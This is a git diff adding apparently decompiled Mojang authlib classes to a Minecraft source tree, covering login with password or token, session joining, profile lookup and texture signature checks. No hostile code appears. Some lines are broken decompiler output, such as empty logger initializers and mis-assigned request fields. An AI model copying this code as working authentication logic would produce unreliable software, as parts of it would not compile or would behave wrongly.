+  public String getValue() {
+    return value;
+  }
+  
+  public String getSignature() {
+    return signature;
+  }
+  
+  public boolean hasSignature() {
+    return signature != null;
+  }
+  
+  public boolean isSignatureValid(java.security.PublicKey publicKey) {
+    try {
+      Signature signature = Signature.getInstance("SHA1withRSA");
+      signature.initVerify(publicKey);
+      signature.update(value.getBytes());
+      return signature.verify(org.apache.commons.codec.binary.Base64.decodeBase64(this.signature));
+    } catch (java.security.NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    } catch (java.security.InvalidKeyException e) {
+      e.printStackTrace();
+    } catch (java.security.SignatureException e) {
+      e.printStackTrace();
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/properties/PropertyMap.java b/src/minecraft/com/mojang/authlib/properties/PropertyMap.java
new file mode 100644
index 0000000..c024756
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/properties/PropertyMap.java
@@ -0,0 +1,73 @@
+package com.mojang.authlib.properties;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonObject;
+
+public class PropertyMap extends com.google.common.collect.ForwardingMultimap<String, Property>
+{
+  private final com.google.common.collect.Multimap<String, Property> properties;
+  
+  public PropertyMap()
+  {
+    properties = com.google.common.collect.LinkedHashMultimap.create();
+  }
+  
+
+  protected com.google.common.collect.Multimap<String, Property> delegate() { return properties; }
+  
+  public static class Serializer implements com.google.gson.JsonSerializer<PropertyMap>, com.google.gson.JsonDeserializer<PropertyMap> {
+    public Serializer() {}
+    
+    public PropertyMap deserialize(com.google.gson.JsonElement json, java.lang.reflect.Type typeOfT, com.google.gson.JsonDeserializationContext context) throws com.google.gson.JsonParseException {
+      PropertyMap result = new PropertyMap();
+      java.util.Iterator i$;
+      java.util.Map.Entry<String, com.google.gson.JsonElement> entry; if ((json instanceof JsonObject)) {
+        JsonObject object = (JsonObject)json;
+        
+        for (i$ = object.entrySet().iterator(); i$.hasNext();) { entry = (java.util.Map.Entry)i$.next();
+          if ((entry.getValue() instanceof JsonArray)) {
+            for (com.google.gson.JsonElement element : (JsonArray)entry.getValue()) {
+              result.put(entry.getKey(), new Property((String)entry.getKey(), element.getAsString()));
+            }
+          }
+        }
+      } else if ((json instanceof JsonArray)) {
+        for (com.google.gson.JsonElement element : (JsonArray)json) {
+          if ((element instanceof JsonObject)) {
+            JsonObject object = (JsonObject)element;
+            String name = object.getAsJsonPrimitive("name").getAsString();
+            String value = object.getAsJsonPrimitive("value").getAsString();
+            
+            if (object.has("signature")) {
+              result.put(name, new Property(name, value, object.getAsJsonPrimitive("signature").getAsString()));
+            } else {
+              result.put(name, new Property(name, value));
+            }
+          }
+        }
+      }
+      
+      return result;
+    }
+    
+    public com.google.gson.JsonElement serialize(PropertyMap src, java.lang.reflect.Type typeOfSrc, com.google.gson.JsonSerializationContext context)
+    {
+      JsonArray result = new JsonArray();
+      
+      for (Property property : src.values()) {
+        JsonObject object = new JsonObject();
+        
+        object.addProperty("name", property.getName());
+        object.addProperty("value", property.getValue());
+        
+        if (property.hasSignature()) {
+          object.addProperty("signature", property.getSignature());
+        }
+        
+        result.add(object);
+      }
+      
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/ProfileIncompleteException.java b/src/minecraft/com/mojang/authlib/yggdrasil/ProfileIncompleteException.java
new file mode 100644
index 0000000..7b9cc8b
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/ProfileIncompleteException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.yggdrasil;
+
+public class ProfileIncompleteException extends RuntimeException
+{
+  public ProfileIncompleteException() {}
+  
+  public ProfileIncompleteException(String message) {
+    super(message);
+  }
+  
+  public ProfileIncompleteException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public ProfileIncompleteException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/ProfileNotFoundException.java b/src/minecraft/com/mojang/authlib/yggdrasil/ProfileNotFoundException.java
new file mode 100644
index 0000000..6f67fad
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/ProfileNotFoundException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.yggdrasil;
+
+public class ProfileNotFoundException extends RuntimeException
+{
+  public ProfileNotFoundException() {}
+  
+  public ProfileNotFoundException(String message) {
+    super(message);
+  }
+  
+  public ProfileNotFoundException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public ProfileNotFoundException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilAuthenticationService.java b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilAuthenticationService.java
new file mode 100644
index 0000000..c314d19
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilAuthenticationService.java
@@ -0,0 +1,100 @@
+package com.mojang.authlib.yggdrasil;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonSerializationContext;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.HttpAuthenticationService;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import com.mojang.authlib.yggdrasil.response.Response;
+import java.io.IOException;
+import java.lang.reflect.Type;
+import java.net.Proxy;
+import java.net.URL;
+import java.util.UUID;
+
+public class YggdrasilAuthenticationService extends HttpAuthenticationService
+{
+  private final String clientToken;
+  private final Gson gson;
+  
+  public YggdrasilAuthenticationService(Proxy proxy, String clientToken)
+  {
+    super(proxy);
+    this.clientToken = clientToken;
+    GsonBuilder builder = new GsonBuilder();
+    builder.registerTypeAdapter(GameProfile.class, new GameProfileSerializer(null));
+    builder.registerTypeAdapter(com.mojang.authlib.properties.PropertyMap.class, new com.mojang.authlib.properties.PropertyMap.Serializer());
+    builder.registerTypeAdapter(UUID.class, new com.mojang.util.UUIDTypeAdapter());
+    builder.registerTypeAdapter(com.mojang.authlib.yggdrasil.response.ProfileSearchResultsResponse.class, new com.mojang.authlib.yggdrasil.response.ProfileSearchResultsResponse.Serializer());
+    gson = builder.create();
+  }
+  
+  public com.mojang.authlib.UserAuthentication createUserAuthentication(com.mojang.authlib.Agent agent)
+  {
+    return new YggdrasilUserAuthentication(this, agent);
+  }
+  
+  public com.mojang.authlib.minecraft.MinecraftSessionService createMinecraftSessionService()
+  {
+    return new YggdrasilMinecraftSessionService(this);
+  }
+  
+  public com.mojang.authlib.GameProfileRepository createProfileRepository()
+  {
+    return new YggdrasilGameProfileRepository(this);
+  }
+  
+  protected <T extends Response> T makeRequest(URL url, Object input, Class<T> classOfT) throws com.mojang.authlib.exceptions.AuthenticationException {
+    try {
+      String jsonResult = input == null ? performGetRequest(url) : performPostRequest(url, gson.toJson(input), "application/json");
+      T result = (Response)gson.fromJson(jsonResult, classOfT);
+      
+      if (result == null) { return null;
+      }
+      if (org.apache.commons.lang3.StringUtils.isNotBlank(result.getError())) {
+        if ("UserMigratedException".equals(result.getCause()))
+          throw new com.mojang.authlib.exceptions.UserMigratedException(result.getErrorMessage());
+        if (result.getError().equals("ForbiddenOperationException")) {
+          throw new com.mojang.authlib.exceptions.InvalidCredentialsException(result.getErrorMessage());
+        }
+        throw new com.mojang.authlib.exceptions.AuthenticationException(result.getErrorMessage());
+      }
+      
+
+      return result;
+    } catch (IOException e) {
+      throw new AuthenticationUnavailableException("Cannot contact authentication server", e);
+    } catch (IllegalStateException e) {
+      throw new AuthenticationUnavailableException("Cannot contact authentication server", e);
+    } catch (JsonParseException e) {
+      throw new AuthenticationUnavailableException("Cannot contact authentication server", e);
+    }
+  }
+  
+
+  public String getClientToken() { return clientToken; }
+  
+  private static class GameProfileSerializer implements com.google.gson.JsonSerializer<GameProfile>, com.google.gson.JsonDeserializer<GameProfile> {
+    private GameProfileSerializer() {}
+    
+    public GameProfile deserialize(JsonElement json, Type typeOfT, JsonDeserializationContext context) throws JsonParseException {
+      JsonObject object = (JsonObject)json;
+      UUID id = object.has("id") ? (UUID)context.deserialize(object.get("id"), UUID.class) : null;
+      String name = object.has("name") ? object.getAsJsonPrimitive("name").getAsString() : null;
+      return new GameProfile(id, name);
+    }
+    
+    public JsonElement serialize(GameProfile src, Type typeOfSrc, JsonSerializationContext context)
+    {
+      JsonObject result = new JsonObject();
+      if (src.getId() != null) result.add("id", context.serialize(src.getId()));
+      if (src.getName() != null) result.addProperty("name", src.getName());
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilGameProfileRepository.java b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilGameProfileRepository.java
new file mode 100644
index 0000000..00dd0e6
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilGameProfileRepository.java
@@ -0,0 +1,90 @@
+package com.mojang.authlib.yggdrasil;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.Sets;
+import com.mojang.authlib.Agent;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.GameProfileRepository;
+import com.mojang.authlib.ProfileLookupCallback;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.yggdrasil.response.ProfileSearchResultsResponse;
+import java.util.Set;
+import org.apache.logging.log4j.Logger;
+
+public class YggdrasilGameProfileRepository implements GameProfileRepository
+{
+  private static final Logger LOGGER = ;
+  private static final String BASE_URL = "https://api.mojang.com/";
+  private static final String SEARCH_PAGE_URL = "https://api.mojang.com/profiles/";
+  private static final int ENTRIES_PER_PAGE = 2;
+  private static final int MAX_FAIL_COUNT = 3;
+  private static final int DELAY_BETWEEN_PAGES = 100;
+  private static final int DELAY_BETWEEN_FAILURES = 750;
+  private final YggdrasilAuthenticationService authenticationService;
+  
+  public YggdrasilGameProfileRepository(YggdrasilAuthenticationService authenticationService)
+  {
+    this.authenticationService = authenticationService;
+  }
+  
+  public void findProfilesByNames(String[] names, Agent agent, ProfileLookupCallback callback)
+  {
+    Set<String> criteria = Sets.newHashSet();
+    
+    for (String name : names) {
+      if (!Strings.isNullOrEmpty(name)) {
+        criteria.add(name.toLowerCase());
+      }
+    }
+    
+    int page = 0;
+    
+    for (java.util.List<String> request : com.google.common.collect.Iterables.partition(criteria, 2)) {
+      int failCount = 0;
+      boolean failed;
+      do
+      {
+        failed = false;
+        try
+        {
+          ProfileSearchResultsResponse response = (ProfileSearchResultsResponse)authenticationService.makeRequest(com.mojang.authlib.HttpAuthenticationService.constantURL("https://api.mojang.com/profiles/" + agent.getName().toLowerCase()), request, ProfileSearchResultsResponse.class);
+          failCount = 0;
+          
+          LOGGER.debug("Page {} returned {} results, parsing", new Object[] { Integer.valueOf(page), Integer.valueOf(response.getProfiles().length) });
+          
+          Set<String> missing = Sets.newHashSet(request);
+          for (GameProfile profile : response.getProfiles()) {
+            LOGGER.debug("Successfully looked up profile {}", new Object[] { profile });
+            missing.remove(profile.getName().toLowerCase());
+            callback.onProfileLookupSucceeded(profile);
+          }
+          
+          for (String name : missing) {
+            LOGGER.debug("Couldn't find profile {}", new Object[] { name });
+            callback.onProfileLookupFailed(new GameProfile(null, name), new ProfileNotFoundException("Server did not find the requested profile"));
+          }
+          try
+          {
+            Thread.sleep(100L);
+          }
+          catch (InterruptedException ignored) {}
+        } catch (AuthenticationException e) {
+          failCount++;
+          
+          if (failCount == 3) {
+            for (String name : request) {
+              LOGGER.debug("Couldn't find profile {} because of a server error", new Object[] { name });
+              callback.onProfileLookupFailed(new GameProfile(null, name), e);
+            }
+          } else {
+            try {
+              Thread.sleep(750L);
+            }
+            catch (InterruptedException ignored) {}
+            failed = true;
+          }
+        }
+      } while (failed);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilMinecraftSessionService.java b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilMinecraftSessionService.java
new file mode 100644
index 0000000..2dfadad
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilMinecraftSessionService.java
@@ -0,0 +1,224 @@
+package com.mojang.authlib.yggdrasil;
+
+import com.google.common.cache.CacheBuilder;
+import com.google.common.cache.CacheLoader;
+import com.google.common.cache.LoadingCache;
+import com.google.common.collect.Iterables;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonParseException;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.HttpAuthenticationService;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import com.mojang.authlib.minecraft.HttpMinecraftSessionService;
+import com.mojang.authlib.minecraft.InsecureTextureException;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type;
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import com.mojang.authlib.yggdrasil.request.JoinMinecraftServerRequest;
+import com.mojang.authlib.yggdrasil.response.HasJoinedMinecraftServerResponse;
+import com.mojang.authlib.yggdrasil.response.MinecraftProfilePropertiesResponse;
+import com.mojang.authlib.yggdrasil.response.MinecraftTexturesPayload;
+import com.mojang.authlib.yggdrasil.response.Response;
+import com.mojang.util.UUIDTypeAdapter;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.security.KeyFactory;
+import java.security.PublicKey;
+import java.security.spec.X509EncodedKeySpec;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.TimeUnit;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class YggdrasilMinecraftSessionService extends HttpMinecraftSessionService
+{
+  private static final String[] WHITELISTED_DOMAINS = { ".minecraft.net", ".mojang.com" };
+  
+
+
+  private static final Logger LOGGER = LogManager.getLogger();
+  private static final String BASE_URL = "https://sessionserver.mojang.com/session/minecraft/";
+  private static final URL JOIN_URL = HttpAuthenticationService.constantURL("https://sessionserver.mojang.com/session/minecraft/join");
+  private static final URL CHECK_URL = HttpAuthenticationService.constantURL("https://sessionserver.mojang.com/session/minecraft/hasJoined");
+  
+  private final PublicKey publicKey;
+  private final Gson gson = new GsonBuilder().registerTypeAdapter(java.util.UUID.class, new UUIDTypeAdapter()).create();
+  private final LoadingCache<GameProfile, GameProfile> insecureProfiles = CacheBuilder.newBuilder().expireAfterWrite(6L, TimeUnit.HOURS).build(new CacheLoader()
+  {
+
+    public GameProfile load(GameProfile key)
+      throws Exception
+    {
+      return fillGameProfile(key, false);
+    }
+  });
+  
+
+
+
+
+
+
+
+  protected YggdrasilMinecraftSessionService(YggdrasilAuthenticationService authenticationService)
+  {
+    super(authenticationService);
+    try
+    {
+      X509EncodedKeySpec spec = new X509EncodedKeySpec(IOUtils.toByteArray(YggdrasilMinecraftSessionService.class.getResourceAsStream("/yggdrasil_session_pubkey.der")));
+      KeyFactory keyFactory = KeyFactory.getInstance("RSA");
+      publicKey = keyFactory.generatePublic(spec);
+    } catch (Exception e) {
+      throw new Error("Missing/invalid yggdrasil public key!");
+    }
+  }
+  
+  public void joinServer(GameProfile profile, String authenticationToken, String serverId) throws AuthenticationException
+  {
+    JoinMinecraftServerRequest request = new JoinMinecraftServerRequest();
+    accessToken = authenticationToken;
+    selectedProfile = profile.getId();
+    serverId = serverId;
+    
+    getAuthenticationService().makeRequest(JOIN_URL, request, Response.class);
+  }
+  
+  public GameProfile hasJoinedServer(GameProfile user, String serverId) throws AuthenticationUnavailableException
+  {
+    Map<String, Object> arguments = new HashMap();
+    
+    arguments.put("username", user.getName());
+    arguments.put("serverId", serverId);
+    
+    URL url = HttpAuthenticationService.concatenateURL(CHECK_URL, HttpAuthenticationService.buildQuery(arguments));
+    try
+    {
+      HasJoinedMinecraftServerResponse response = (HasJoinedMinecraftServerResponse)getAuthenticationService().makeRequest(url, null, HasJoinedMinecraftServerResponse.class);
+      
+      if ((response != null) && (response.getId() != null)) {
+        GameProfile result = new GameProfile(response.getId(), user.getName());
+        
+        if (response.getProperties() != null) {
+          result.getProperties().putAll(response.getProperties());
+        }
+        
+        return result;
+      }
+      return null;
+    }
+    catch (AuthenticationUnavailableException e) {
+      throw e;
+    } catch (AuthenticationException e) {}
+    return null;
+  }
+  
+
+  public Map<MinecraftProfileTexture.Type, MinecraftProfileTexture> getTextures(GameProfile profile, boolean requireSecure)
+  {
+    Property textureProperty = (Property)Iterables.getFirst(profile.getProperties().get("textures"), null);
+    
+    if (textureProperty == null) {
+      return new HashMap();
+    }
+    
+    if (requireSecure) {
+      if (!textureProperty.hasSignature()) {
+        LOGGER.error("Signature is missing from textures payload");
+        throw new InsecureTextureException("Signature is missing from textures payload");
+      }
+      
+      if (!textureProperty.isSignatureValid(publicKey)) {
+        LOGGER.error("Textures payload has been tampered with (signature invalid)");
+        throw new InsecureTextureException("Textures payload has been tampered with (signature invalid)");
+      }
+    }
+    MinecraftTexturesPayload result;
+    try
+    {
+      String json = new String(org.apache.commons.codec.binary.Base64.decodeBase64(textureProperty.getValue()), org.apache.commons.codec.Charsets.UTF_8);
+      result = (MinecraftTexturesPayload)gson.fromJson(json, MinecraftTexturesPayload.class);
+    } catch (JsonParseException e) {
+      LOGGER.error("Could not decode textures payload", e);
+      return new HashMap();
+    }
+    
+    if (result.getTextures() == null) {
+      return new HashMap();
+    }
+    
+    for (Map.Entry<MinecraftProfileTexture.Type, MinecraftProfileTexture> entry : result.getTextures().entrySet()) {
+      if (!isWhitelistedDomain(((MinecraftProfileTexture)entry.getValue()).getUrl())) {
+        LOGGER.error("Textures payload has been tampered with (non-whitelisted domain)");
+        return new HashMap();
+      }
+    }
+    
+    return result.getTextures();
+  }
+  
+  public GameProfile fillProfileProperties(GameProfile profile, boolean requireSecure)
+  {
+    if (profile.getId() == null) {
+      return profile;
+    }
+    
+    if (!requireSecure) {
+      return (GameProfile)insecureProfiles.getUnchecked(profile);
+    }
+    
+    return fillGameProfile(profile, true);
+  }
+  
+  protected GameProfile fillGameProfile(GameProfile profile, boolean requireSecure) {
+    try {
+      URL url = HttpAuthenticationService.constantURL("https://sessionserver.mojang.com/session/minecraft/profile/" + UUIDTypeAdapter.fromUUID(profile.getId()));
+      url = HttpAuthenticationService.concatenateURL(url, "unsigned=" + (!requireSecure));
+      MinecraftProfilePropertiesResponse response = (MinecraftProfilePropertiesResponse)getAuthenticationService().makeRequest(url, null, MinecraftProfilePropertiesResponse.class);
+      
+      if (response == null) {
+        LOGGER.debug("Couldn't fetch profile properties for " + profile + " as the profile does not exist");
+        return profile;
+      }
+      GameProfile result = new GameProfile(response.getId(), response.getName());
+      result.getProperties().putAll(response.getProperties());
+      profile.getProperties().putAll(response.getProperties());
+      LOGGER.debug("Successfully fetched profile properties for " + profile);
+      return result;
+    }
+    catch (AuthenticationException e) {
+      LOGGER.warn("Couldn't look up profile properties for " + profile, e); }
+    return profile;
+  }
+  
+
+  public YggdrasilAuthenticationService getAuthenticationService()
+  {
+    return (YggdrasilAuthenticationService)super.getAuthenticationService();
+  }
+  
+  private static boolean isWhitelistedDomain(String url) {
+    URI uri = null;
+    try
+    {
+      uri = new URI(url);
+    } catch (URISyntaxException e) {
+      throw new IllegalArgumentException("Invalid URL '" + url + "'");
+    }
+    
+    String domain = uri.getHost();
+    
+    for (int i = 0; i < WHITELISTED_DOMAINS.length; i++) {
+      if (domain.endsWith(WHITELISTED_DOMAINS[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilUserAuthentication.java b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilUserAuthentication.java
new file mode 100644
index 0000000..d7eed22
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/YggdrasilUserAuthentication.java
@@ -0,0 +1,275 @@
+package com.mojang.authlib.yggdrasil;
+
+import com.mojang.authlib.Agent;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.HttpAuthenticationService;
+import com.mojang.authlib.HttpUserAuthentication;
+import com.mojang.authlib.UserType;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.InvalidCredentialsException;
+import com.mojang.authlib.properties.PropertyMap;
+import com.mojang.authlib.yggdrasil.request.RefreshRequest;
+import com.mojang.authlib.yggdrasil.response.AuthenticationResponse;
+import com.mojang.authlib.yggdrasil.response.RefreshResponse;
+import com.mojang.authlib.yggdrasil.response.User;
+import java.net.URL;
+import java.util.Map;
+import org.apache.commons.lang3.ArrayUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.logging.log4j.Logger;
+
+public class YggdrasilUserAuthentication extends HttpUserAuthentication
+{
+  private static final Logger LOGGER = ;
+  private static final String BASE_URL = "https://authserver.mojang.com/";
+  private static final URL ROUTE_AUTHENTICATE = HttpAuthenticationService.constantURL("https://authserver.mojang.com/authenticate");
+  private static final URL ROUTE_REFRESH = HttpAuthenticationService.constantURL("https://authserver.mojang.com/refresh");
+  private static final URL ROUTE_VALIDATE = HttpAuthenticationService.constantURL("https://authserver.mojang.com/validate");
+  private static final URL ROUTE_INVALIDATE = HttpAuthenticationService.constantURL("https://authserver.mojang.com/invalidate");
+  private static final URL ROUTE_SIGNOUT = HttpAuthenticationService.constantURL("https://authserver.mojang.com/signout");
+  
+  private static final String STORAGE_KEY_ACCESS_TOKEN = "accessToken";
+  private final Agent agent;
+  private GameProfile[] profiles;
+  private String accessToken;
+  private boolean isOnline;
+  
+  public YggdrasilUserAuthentication(YggdrasilAuthenticationService authenticationService, Agent agent)
+  {
+    super(authenticationService);
+    this.agent = agent;
+  }
+  
+  public boolean canLogIn()
+  {
+    return (!canPlayOnline()) && (StringUtils.isNotBlank(getUsername())) && ((StringUtils.isNotBlank(getPassword())) || (StringUtils.isNotBlank(getAuthenticatedToken())));
+  }
+  
+  public void logIn() throws AuthenticationException
+  {
+    if (StringUtils.isBlank(getUsername())) {
+      throw new InvalidCredentialsException("Invalid username");
+    }
+    
+    if (StringUtils.isNotBlank(getAuthenticatedToken())) {
+      logInWithToken();
+    } else if (StringUtils.isNotBlank(getPassword())) {
+      logInWithPassword();
+    } else {
+      throw new InvalidCredentialsException("Invalid password");
+    }
+  }
+  
+  protected void logInWithPassword() throws AuthenticationException {
+    if (StringUtils.isBlank(getUsername())) {
+      throw new InvalidCredentialsException("Invalid username");
+    }
+    if (StringUtils.isBlank(getPassword())) {
+      throw new InvalidCredentialsException("Invalid password");
+    }
+    
+    LOGGER.info("Logging in with username & password");
+    
+    com.mojang.authlib.yggdrasil.request.AuthenticationRequest request = new com.mojang.authlib.yggdrasil.request.AuthenticationRequest(this, getUsername(), getPassword());
+    AuthenticationResponse response = (AuthenticationResponse)getAuthenticationService().makeRequest(ROUTE_AUTHENTICATE, request, AuthenticationResponse.class);
+    
+    if (!response.getClientToken().equals(getAuthenticationService().getClientToken())) {
+      throw new AuthenticationException("Server requested we change our client token. Don't know how to handle this!");
+    }
+    
+    if (response.getSelectedProfile() != null) {
+      setUserType(response.getSelectedProfile().isLegacy() ? UserType.LEGACY : UserType.MOJANG);
+    } else if (ArrayUtils.isNotEmpty(response.getAvailableProfiles())) {
+      setUserType(response.getAvailableProfiles()[0].isLegacy() ? UserType.LEGACY : UserType.MOJANG);
+    }
+    
+    User user = response.getUser();
+    
+    if ((user != null) && (user.getId() != null)) {
+      setUserid(user.getId());
+    } else {
+      setUserid(getUsername());
+    }
+    
+    isOnline = true;
+    accessToken = response.getAccessToken();
+    profiles = response.getAvailableProfiles();
+    setSelectedProfile(response.getSelectedProfile());
+    getModifiableUserProperties().clear();
+    
+    updateUserProperties(user);
+  }
+  
+  protected void updateUserProperties(User user) {
+    if (user == null) { return;
+    }
+    if (user.getProperties() != null) {
+      getModifiableUserProperties().putAll(user.getProperties());
+    }
+  }
+  
+  protected void logInWithToken() throws AuthenticationException {
+    if (StringUtils.isBlank(getUserID())) {
+      if (StringUtils.isBlank(getUsername())) {
+        setUserid(getUsername());
+      } else {
+        throw new InvalidCredentialsException("Invalid uuid & username");
+      }
+    }
+    if (StringUtils.isBlank(getAuthenticatedToken())) {
+      throw new InvalidCredentialsException("Invalid access token");
+    }
+    
+    LOGGER.info("Logging in with access token");
+    
+    if (checkTokenValidity()) {
+      LOGGER.debug("Skipping refresh call as we're safely logged in.");
+      isOnline = true;
+      return;
+    }
+    
+    RefreshRequest request = new RefreshRequest(this);
+    RefreshResponse response = (RefreshResponse)getAuthenticationService().makeRequest(ROUTE_REFRESH, request, RefreshResponse.class);
+    
+    if (!response.getClientToken().equals(getAuthenticationService().getClientToken())) {
+      throw new AuthenticationException("Server requested we change our client token. Don't know how to handle this!");
+    }
+    
+    if (response.getSelectedProfile() != null) {
+      setUserType(response.getSelectedProfile().isLegacy() ? UserType.LEGACY : UserType.MOJANG);
+    } else if (ArrayUtils.isNotEmpty(response.getAvailableProfiles())) {
+      setUserType(response.getAvailableProfiles()[0].isLegacy() ? UserType.LEGACY : UserType.MOJANG);
+    }
+    
+    if ((response.getUser() != null) && (response.getUser().getId() != null)) {
+      setUserid(response.getUser().getId());
+    } else {
+      setUserid(getUsername());
+    }
+    
+    isOnline = true;
+    accessToken = response.getAccessToken();
+    profiles = response.getAvailableProfiles();
+    setSelectedProfile(response.getSelectedProfile());
+    getModifiableUserProperties().clear();
+    
+    updateUserProperties(response.getUser());
+  }
+  
+  protected boolean checkTokenValidity() throws AuthenticationException {
+    com.mojang.authlib.yggdrasil.request.ValidateRequest request = new com.mojang.authlib.yggdrasil.request.ValidateRequest(this);
+    try {
+      getAuthenticationService().makeRequest(ROUTE_VALIDATE, request, com.mojang.authlib.yggdrasil.response.Response.class);
+      return true;
+    } catch (AuthenticationException ex) {}
+    return false;
+  }
+  
+
+  public void logOut()
+  {
+    super.logOut();
+    
+    accessToken = null;
+    profiles = null;
+    isOnline = false;
+  }
+  
+  public GameProfile[] getAvailableProfiles()
+  {
+    return profiles;
+  }
+  
+  public boolean isLoggedIn()
+  {
+    return StringUtils.isNotBlank(accessToken);
+  }
+  
+  public boolean canPlayOnline()
+  {
+    return (isLoggedIn()) && (getSelectedProfile() != null) && (isOnline);
+  }
+  
+  public void selectGameProfile(GameProfile profile) throws AuthenticationException
+  {
+    if (!isLoggedIn()) {
+      throw new AuthenticationException("Cannot change game profile whilst not logged in");
+    }
+    if (getSelectedProfile() != null) {
+      throw new AuthenticationException("Cannot change game profile. You must log out and back in.");
+    }
+    if ((profile == null) || (!ArrayUtils.contains(profiles, profile))) {
+      throw new IllegalArgumentException("Invalid profile '" + profile + "'");
+    }
+    
+    RefreshRequest request = new RefreshRequest(this, profile);
+    RefreshResponse response = (RefreshResponse)getAuthenticationService().makeRequest(ROUTE_REFRESH, request, RefreshResponse.class);
+    
+    if (!response.getClientToken().equals(getAuthenticationService().getClientToken())) {
+      throw new AuthenticationException("Server requested we change our client token. Don't know how to handle this!");
+    }
+    
+    isOnline = true;
+    accessToken = response.getAccessToken();
+    setSelectedProfile(response.getSelectedProfile());
+  }
+  
+  public void loadFromStorage(Map<String, Object> credentials)
+  {
+    super.loadFromStorage(credentials);
+    
+    accessToken = String.valueOf(credentials.get("accessToken"));
+  }
+  
+  public Map<String, Object> saveForStorage()
+  {
+    Map<String, Object> result = super.saveForStorage();
+    
+    if (StringUtils.isNotBlank(getAuthenticatedToken())) {
+      result.put("accessToken", getAuthenticatedToken());
+    }
+    
+    return result;
+  }
+  
+
+
+  @Deprecated
+  public String getSessionToken()
+  {
+    if ((isLoggedIn()) && (getSelectedProfile() != null) && (canPlayOnline())) {
+      return String.format("token:%s:%s", new Object[] { getAuthenticatedToken(), getSelectedProfile().getId() });
+    }
+    return null;
+  }
+  
+
+  public String getAuthenticatedToken()
+  {
+    return accessToken;
+  }
+  
+  public Agent getAgent() {
+    return agent;
+  }
+  
+  public String toString()
+  {
+    return "YggdrasilAuthenticationService{agent=" + agent + ", profiles=" + java.util.Arrays.toString(profiles) + ", selectedProfile=" + getSelectedProfile() + ", username='" + getUsername() + '\'' + ", isLoggedIn=" + isLoggedIn() + ", userType=" + getUserType() + ", canPlayOnline=" + canPlayOnline() + ", accessToken='" + accessToken + '\'' + ", clientToken='" + getAuthenticationService().getClientToken() + '\'' + '}';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public YggdrasilAuthenticationService getAuthenticationService()
+  {
+    return (YggdrasilAuthenticationService)super.getAuthenticationService();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/request/AuthenticationRequest.java b/src/minecraft/com/mojang/authlib/yggdrasil/request/AuthenticationRequest.java
new file mode 100644
index 0000000..5792c4e
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/request/AuthenticationRequest.java
@@ -0,0 +1,19 @@
+package com.mojang.authlib.yggdrasil.request;
+
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+
+public class AuthenticationRequest
+{
+  private com.mojang.authlib.Agent agent;
+  private String username;
+  private String password;
+  private String clientToken;
+  private boolean requestUser = true;
+  
+  public AuthenticationRequest(YggdrasilUserAuthentication authenticationService, String username, String password) {
+    agent = authenticationService.getAgent();
+    this.username = username;
+    clientToken = authenticationService.getAuthenticationService().getClientToken();
+    this.password = password;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/request/InvalidateRequest.java b/src/minecraft/com/mojang/authlib/yggdrasil/request/InvalidateRequest.java
new file mode 100644
index 0000000..f5335a7
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/request/InvalidateRequest.java
